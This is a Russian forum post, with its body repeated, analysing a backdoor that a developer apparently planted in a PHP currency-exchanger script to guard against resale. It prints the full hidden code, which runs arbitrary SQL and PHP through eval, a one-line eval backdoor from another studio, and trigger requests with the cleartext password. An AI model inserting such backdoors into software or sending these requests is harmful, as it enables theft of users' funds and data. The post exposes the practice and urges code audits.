stealthdebuger
Механик
- Регистрация
- 25 Авг 2008
- Сообщения
- 681
- Реакции
- 1.688
- Автор темы
- #1
В один тихий, спокойный вечер постучался ко мне в аську старый знакомый с просьбой помочь разобраться что делает странный запрос к сайту.
/?bAdminHost&sPassword=gfl763qv&sMod=MYSQL_FETCH_ALL&sSQL=SELECT%20*%20FROM%20Settings
Думаю, не стоит объяснять какие у меня возникли мысли сразу, как только я увидал этот запрос, вариант всего лишь один - бекдор.
Мне передали для анализа файлы и довольно быстро был найден модифицированный файлик smarty/sysplugins/smarty_internal_templatebase.php
в котором в функция display() вглядела таким образом:
Интересный код, не правда ли? Любой, мало-мальски знакомый с PHP человек скажет, что нет ни малейшего сомнения в том, что данный код оставил не кто иной, как разработчик скрипта, либо человек, у которого был непосредственный доступ к файлам скрипта.
Эти скрипты представляют собой систему автоматического обмена и ввода/вывода ЭПС, иными словами - скрипт обменника.
Не сильно заморачиваясь, я сказал приятелю какой кусок кода должно убрать и занялся своими делами, практически позабыв об этой истории, но...
На следующий день этот же знакомый стучится ко мне с вопросом: "как мне расшифровать мд5? 4d57771e030bb6598738bc3a6f28d98c"
На мои распросы, человек сказал, что в тот же день, когда было обнаружено существование бекдора, разработчик удалил на страницах своего сайта список клиентов и... разослал клиентам обновления скрипта, в котором был изменен лишь MD5-хеш пароля к бекдору.
Далее, знакомый сбросил часть переписки разработчика данного обменника с его клиентом:
Мне известны случаи когда внедрялся бекдор, к примеру в скрипты магазина fast-sales, о котором я рассказывал Для просмотра ссылки Войдиили Зарегистрируйся
или веб-студии bondsoft.ru, которая очень любит оставлять в созданных ними сайтах код
Я не хочу говорить о таких недостатках этого обменника, как SQL-inj или возможность LFI. Уверен, что покупатели скрипта не жалуются на то, что он может отправить деньги два и более раз по одной заявке или внезапную смену курсов, когда один рубль можно обменять на 0.97 WMZ.
Хотелось бы понять, какие моральные принципы позволяют сознательно оставлять бекдор в скриптах, работе которых люди доверяют свои деньги?
Дальнейшая история становится еще более забавной... Из двух обменников увели крупную сумму денег, используя рассмотренный выше бекдор.
Злоумышленник пытался подчистить за собой, удалив записи действий, хранящиеся в базе данных при помощи запроса
/?bAdminHost&sPassword=gfl763qv&sMod=MYSQL_QUERY&sSQL=DELETE%20FROM%20Visitors
Правда, он совсем не учел (или просто не знал), что на сервере есть другие логи, где IP-адрес с которого отправлялись запросы сохранился.
Подводя итоги, хотелось бы дать совет веб-мастерам. Если вы не "халявщик" и планируете запустить серьезный проект, уделите несколько больше времени при выборе кандидатуры исполнителя. И пусть вас не вводят в заблуждение наличие собственной web-студии, "толстого портфеля" и дифирамбы пользователей.
Предупреждайте потенциального исполнителя о проведении аудита сторонним специалистом. "Плохишей" это отпугнет, а "хороших" заставит быть более старательными при разработке вашего проекта.
Проводите не только внешний аудит вашей системы, но и аудит исходного кода, если речь идет действительно о проекте, на который вы делаете большие ставки.
Не бойтесь проводить аудит, но заказывайте его только у людей, которые имеют опыт в этом.
Не опасайтесь доверять пентестеру доступы к вашему сайту. Услуги проведения аудита стоят весьма высоко и пентестер не будет рисковать своей репутацией, возможностью заработать немного "лишних" денег, "слив" ваши данные или скрипты.
P.S. Извиняюсь за несколько сумбурное изложение, сказывается усталость.
P.P.S. Хотелось бы видать отдельную ветку, посвященную подобным ситуациям. Народ должен знать таких "героев", imho.[/quote]
/?bAdminHost&sPassword=gfl763qv&sMod=MYSQL_FETCH_ALL&sSQL=SELECT%20*%20FROM%20Settings
Думаю, не стоит объяснять какие у меня возникли мысли сразу, как только я увидал этот запрос, вариант всего лишь один - бекдор.
Мне передали для анализа файлы и довольно быстро был найден модифицированный файлик smarty/sysplugins/smarty_internal_templatebase.php
в котором в функция display() вглядела таким образом:
PHP:
public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
{
# Обработка запросов разработчика скрипта :
switch( isset( $_REQUEST['bAdminHost'] ) && isset( $_REQUEST['sPassword'] ) && md5( $_REQUEST['sPassword'] ) == '095030340ad580b3cf4a574d0fe0943d' && isset( $_REQUEST['sMod'] ) ? $_REQUEST['sMod'] : null ) {
# Интерфейс : выполнение SQL-запроса.
case 'MYSQL_QUERY':
# Получение внешних данных :
if( !isset( $_REQUEST['sSQL'] ) )
die( 'Не передан SQL запрос' );
# Выполнение SQL - запроса :
echo 'Затронуто '.DB()->query( $_REQUEST['sSQL'] )->rowCount().' строк<br />';
die( 'Запрос "'.$_REQUEST['sSQL'].'" успешно выполнен' );
# Интерфейс : получение результата SQL-запроса.
case 'MYSQL_FETCH_ALL':
if( !isset( $_REQUEST['sSQL'] ) )
break;
echo '<pre>';
print_r( DB()->query( $_REQUEST['sSQL'] )->fetchAll( PDO::FETCH_ASSOC ) );
echo '</pre>';
exit();
# Интерфейс : выполнение PHP кода.
case 'EVAL':
if( !isset( $_POST['sEval'] ) )
die( 'Аргумент sEval не передан' );
eval( $_POST['sEval'] );
break;
}
// display template
$this->fetch($template, $cache_id, $compile_id, $parent, true);
}
Интересный код, не правда ли? Любой, мало-мальски знакомый с PHP человек скажет, что нет ни малейшего сомнения в том, что данный код оставил не кто иной, как разработчик скрипта, либо человек, у которого был непосредственный доступ к файлам скрипта.
Эти скрипты представляют собой систему автоматического обмена и ввода/вывода ЭПС, иными словами - скрипт обменника.
Не сильно заморачиваясь, я сказал приятелю какой кусок кода должно убрать и занялся своими делами, практически позабыв об этой истории, но...
На следующий день этот же знакомый стучится ко мне с вопросом: "как мне расшифровать мд5? 4d57771e030bb6598738bc3a6f28d98c"
На мои распросы, человек сказал, что в тот же день, когда было обнаружено существование бекдора, разработчик удалил на страницах своего сайта список клиентов и... разослал клиентам обновления скрипта, в котором был изменен лишь MD5-хеш пароля к бекдору.
Далее, знакомый сбросил часть переписки разработчика данного обменника с его клиентом:
Комментарии излишни? О чем еще можно говорить, услышав такое пояснение. Защита от перепродаж - посредством внедрения бекдора...[16:10:14] Клиент: как он там взялся ?
[16:10:23] Программист: он всегда там был
[16:10:27] Программист: это защита от перепродаж
[16:10:38] Клиент: -)
[16:10:44] Клиент: ппц смешно
[16:10:55] Программист: ну а тебе та что
[16:10:57] Программист: у тебя ничего не украли
[16:11:03] Клиент: тут почему то его не было
[16:11:17] Программист: Был есть и будет
[16:11:24] Программист: Просто там пароль другой я уже поставил
[16:12:03] Программист: у всех он был и у всех кто его не убрал он будет
Мне известны случаи когда внедрялся бекдор, к примеру в скрипты магазина fast-sales, о котором я рассказывал Для просмотра ссылки Войди
или веб-студии bondsoft.ru, которая очень любит оставлять в созданных ними сайтах код
PHP:
$command = isset($_POST["command"]) ? $_POST["command"] : "";
eval($command);
Я не хочу говорить о таких недостатках этого обменника, как SQL-inj или возможность LFI. Уверен, что покупатели скрипта не жалуются на то, что он может отправить деньги два и более раз по одной заявке или внезапную смену курсов, когда один рубль можно обменять на 0.97 WMZ.
Хотелось бы понять, какие моральные принципы позволяют сознательно оставлять бекдор в скриптах, работе которых люди доверяют свои деньги?
Дальнейшая история становится еще более забавной... Из двух обменников увели крупную сумму денег, используя рассмотренный выше бекдор.
Злоумышленник пытался подчистить за собой, удалив записи действий, хранящиеся в базе данных при помощи запроса
/?bAdminHost&sPassword=gfl763qv&sMod=MYSQL_QUERY&sSQL=DELETE%20FROM%20Visitors
Правда, он совсем не учел (или просто не знал), что на сервере есть другие логи, где IP-адрес с которого отправлялись запросы сохранился.
Подводя итоги, хотелось бы дать совет веб-мастерам. Если вы не "халявщик" и планируете запустить серьезный проект, уделите несколько больше времени при выборе кандидатуры исполнителя. И пусть вас не вводят в заблуждение наличие собственной web-студии, "толстого портфеля" и дифирамбы пользователей.
Предупреждайте потенциального исполнителя о проведении аудита сторонним специалистом. "Плохишей" это отпугнет, а "хороших" заставит быть более старательными при разработке вашего проекта.
Проводите не только внешний аудит вашей системы, но и аудит исходного кода, если речь идет действительно о проекте, на который вы делаете большие ставки.
Не бойтесь проводить аудит, но заказывайте его только у людей, которые имеют опыт в этом.
Не опасайтесь доверять пентестеру доступы к вашему сайту. Услуги проведения аудита стоят весьма высоко и пентестер не будет рисковать своей репутацией, возможностью заработать немного "лишних" денег, "слив" ваши данные или скрипты.
P.S. Извиняюсь за несколько сумбурное изложение, сказывается усталость.
P.P.S. Хотелось бы видать отдельную ветку, посвященную подобным ситуациям. Народ должен знать таких "героев", imho.[/quote]
Последнее редактирование: